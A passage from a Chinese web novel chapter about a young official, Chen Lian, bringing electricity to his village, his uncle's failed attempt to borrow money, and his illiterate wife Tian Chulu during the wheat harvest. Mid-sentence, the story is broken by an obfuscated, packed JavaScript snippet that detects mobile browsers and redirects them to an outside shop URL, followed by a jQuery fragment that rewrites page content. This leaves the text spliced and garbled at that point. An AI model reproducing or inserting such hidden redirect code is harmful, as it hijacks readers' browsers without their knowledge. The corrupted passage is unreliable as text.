黄鑫气得要同陈连打一架。
“陈连。”在黄鑫即将动手之际,陈冬生来了。
原本的一对一的局势扭转,黄鑫阴沉着脸收回手。
陈连同样,虽说上了几年学,但他并非文弱书生,长得清俊,却身强体壮。
“二叔有事找我?”陈连将目光移到陈冬生脸上。
“有点小事。”陈冬生说。
见无人搭理,黄鑫不自讨没趣便一声不响离开了。
“什么事?”陈连目送他离开,直觉告诉他,他不会善罢甘休。
“前些日子那个王师傅你还记得不?”
“记得。”那个电业局的王师傅。
“你二婶怀了孕,我怕她生产时不好去街上卫生所,就想着买个车到时候方便。那个王师傅有门路,可以买个便宜的。”陈冬生边惆怅,边开怀。
他欢喜这个孩子也忧愁这个孩子。
“嗯,二叔是在考虑钱的问题?”陈连也想过这个问题。
路肯定要在今年修好,届时,就算是提前走路去,平坦的路也好过泥泞。
他得去催催进度,不知道陈桃要在这里待多久,她孩子还要上学,可能不会很久。
“是啊,自行车要好几百,驾车也不便宜。”陈冬生穷得都去入赘了,自然没什么余钱。
陈连表示赞同。
可说到钱,他同他一样窘迫。
陈连纠结起来,陈冬生显然早已料到,“要不我想着去找你娘借点。”
“我娘?”
想起前些日子何芳对陈冬生态度,陈连不抱希望,他劝他再想别的办法。
“唉……”陈冬生长叹气。
“真是作孽啊!”
“我家何香看上你才真是作孽!好不要脸啊你,竟然还敢来,还敢来跟我借钱。”
“嫂子,是我对不起小香,但是我也是有苦难言。”陈冬生一改往日嘴硬,讨好的站在陈连家门外和何芳说话。
何芳根本不听他讲,只一味的骂他,“臭不要脸,当初小香都要去上大学,嫁到城里了,你非要拉扯着小香和你在一起。”
“小香心软听你的屁话,结果呢,学学没上好,人人还没了。你对得起她吗?”
何芳一个劲的骂,倒是完全不顾及村里人的口舌了。
何香是她妹妹,也是个极有出息的女孩,学习好,人聪明,那时高考将恢复,考大学也很受大家欢迎。
但是陈冬生这个杀千刀的,非要在何香上了大学,找到男朋友后冒出来。
把她妹妹大好前程搅和的一团糟,甚至前些年,何家传来消息说何香病死在外了。
恰巧,陈冬生在冬天回来了。本来就对陈冬生横看竖看不对眼的何芳,这下彻底爆发了。
陈冬生也不同她对骂,只要能借到钱,他觉得多骂两句也可以。
陈连终于知道了陈冬生的从前事,原来带有惋惜的眼神随着真相大白开始消散。
这种毁人前程的事,他一向看不上。
何芳怒气值爆表,陈冬生自然借不到一分钱。
他走了。
天彻底黑透,春天来了,杨树长满绿叶,一片一片随风哗哗作响。
陈连坐在门口杨树下没进门。
不知名的鸟叫一声一声在后山回荡,时不时落入他的耳中。
怪不得何芳一直不让他去上大学呢,原来是怕他和小姨一样被人骗。
但他不是小姨,他有自己的判断。
陈连内心千想万想没想明白何芳这样不让他走的行为和当初的陈冬生有什么区别。
一朝被蛇咬,难道往后就直接把蛇全杀了吗。
晚风暖暖的吹到陈连脸颊上,却无法抚平他内心的哽咽。
田初露回了田家。何芳让他去把人哄回来。
陈连嘴里说着好,实则一忙起来便把事抛到了九霄云外。
分地在三月下旬画上句号,紧接着通电和修路提上日程。
陈桃要离开的时间渐近,陈连只好催促电业局赶紧把电线杆架好为通电做准备。
幸好整个镇的通电顺序正好到了陈家村。四月一号,村内的电线杆全都栽好了。
鉴于大家对电的不了解,陈连连夜整理了一些用电禁忌。
他挨家挨户发,到田家时,才突然想起几天前负气离家的田初露。
敲门的手霎时僵住。他快速回忆他和田初露因何事争吵。
“陈连,我就知道是你。”还没等想明白,大门自己开了。
田初露眼睛肿肿的站在他面前,“你再不来找我,我就要和你离婚!”
陈连微微惊诧,此时他懊恼,他应该晚点来。
“你敢不来?”田初露看出了他的想法后提高音量。
“没有。我今天是为了发用电手册。”陈连拿出一个小本本。
田初露接过,皱眉,怎么一个字也看不懂啊!
陈连观察到她郁闷的表情,愕然发觉自己做了件蠢事。村里人基本都不咋识字,让他们看这些注意事项,无疑是异想天开。
他糊涂了。
“你要回家吗?”陈连问她。
田初露点头。
回到陈家后,陈连又开始想如何能让大家知晓并重视用电。
开讲座是最好的安排。
他们不识字但都能听懂话。
田初露看着他埋头一声不吭,内心烦躁。“陈连,你在干嘛?”
她忍不住问。
“在准备明天开讲座的流程。”陈连没有这方面的经验,他大学学的也不是社会学,对于这些工作,全靠自己摸索着来的。
“哦。”田初露出了门。何芳和陈春生一起去地里薅草去了,春天的草一茬又一茬,长得极快。
庭院内也没什么好玩的,她仰头看不远处的山,一簇一簇的粉色很是惹眼。
那是山樱桃,田初露往院子侧面看去,一株含苞待放的樱桃树正要开花。
院内院外就那么一点别样的亮色,看来看去,还是无聊,她又回了屋。
陈连还在准备他的演讲逐字稿,她在他身边徘徊。
“你有什么事吗?”他停笔喊住她。
田初露止步,看向他摇头。
“那你可以帮我把这些纸张按顺序归类吗?”陈连拿出一叠纸,是错序般的用电手册。
田初露接过,呆呆的看着上面方方正正的文字,虽然很努力睁大眼睛看,但根本看不懂。
她气馁,陈连是不是又忘了她不识字。
陈连低头又整理了一些纸张,厚厚一沓,一并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284352|198422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
递到她手里,“纸张下发中间有数字,你可以看着数字整理。”
田初露看向他说的位置,冲陈连指了指。
“对,这个就是。”陈连点头。“这些数字你认识吧?”
陈连准备扭头时,想起来什么的问田初露。
田初露点头,“认识,不过只认识这些数字。”她有些尴尬,早知道上学的时候好好学了。
陈连点头,“辛苦你了。”
“嗯。”田初露坐在他旁边开始整理那些杂乱的纸张。
这张书桌不大,据说是何芳的陪嫁,经岁月洗礼,它已经没了原本光泽。
两人伏案努力做自己的事。
整理手册很简单,田初露早早做好在旁边看陈连。他依旧在纸上写写画画,她想帮点忙。
又不好意思开口,怕自己干不了。
她纠结着,矛盾着,最后头一次生成一份自卑感。
陈连发现她的异样是在陈明回来的那天。
四五月庄稼成熟,学校会给学生放麦假,所谓麦假就是回家帮忙收麦子。
已有些暑气的天让人不得不早起下地干活。
清晨五点,天色渐亮,何芳和田初露在家做饭。陈连、陈明和陈春生去地割麦子。
一人一把镰刀,戴着草帽一直割到七点。
金黄的麦地里,不只陈连一家在劳作。
何芳拎着饭来时,田初露也来了。她先给陈连递了饭盒,随后跑到陈明那里。
何芳接替三人继续割麦。
田初露挨着陈明,不知道在说什么。陈连咽下最后一口馒头看向他们时,他们还在说。
他好奇,但没问。
人力不比机器,一亩地的麦子五人一天也没割完。
陈连结婚后家里房间布局变成了三室一厅。空间不变的情况下,只有陈明的房间变小了。
吃过晚饭,他没着急回屋,“哥。”他喊住陈连。
“怎么了?”陈连放下手里茶杯。
陈明神神秘秘把陈连拉到大门外。天一黑,村里就会安静下来,若非是个圆月夜,几乎没人在外走动。
因而陈明不会是要去做些什么,那就是要说些什么了。
会说什么呢?陈连在黑乎乎的天里看向陈明。
“哥,嫂子说想识字。”陈明说。
“识字?”陈连表情复杂的重复着。
陈明解释,“嫂子说你有文化,她不好意思和你说,她想让我教她。我在家时间不多,就想着你也一样可以教。”
或许他也感觉到了田初露的异样,但陈明没法形容这种行为。
“难得。”陈连说。
“哥你啥意思?”
“没事,我明天去问问她的想法。”
“好,嫂子爱学习是好事。”接受教育的人是不会后悔接受教育的,至少陈明是这样想的。
两兄弟的谈话在一阵鸟叫声结束。
次日,陈连再次下地割麦。田初露也在,她负责把麦子收拢到一起,到时候方便拉到稻场(麦子和稻子脱穗、脱壳的地方)打麦。
陈连再次注意到她和陈明讲话。
两人小小声也不知道是怕被谁听到。何芳戳戳陈连胳膊让他去看看。
陈连点头朝田初露走去。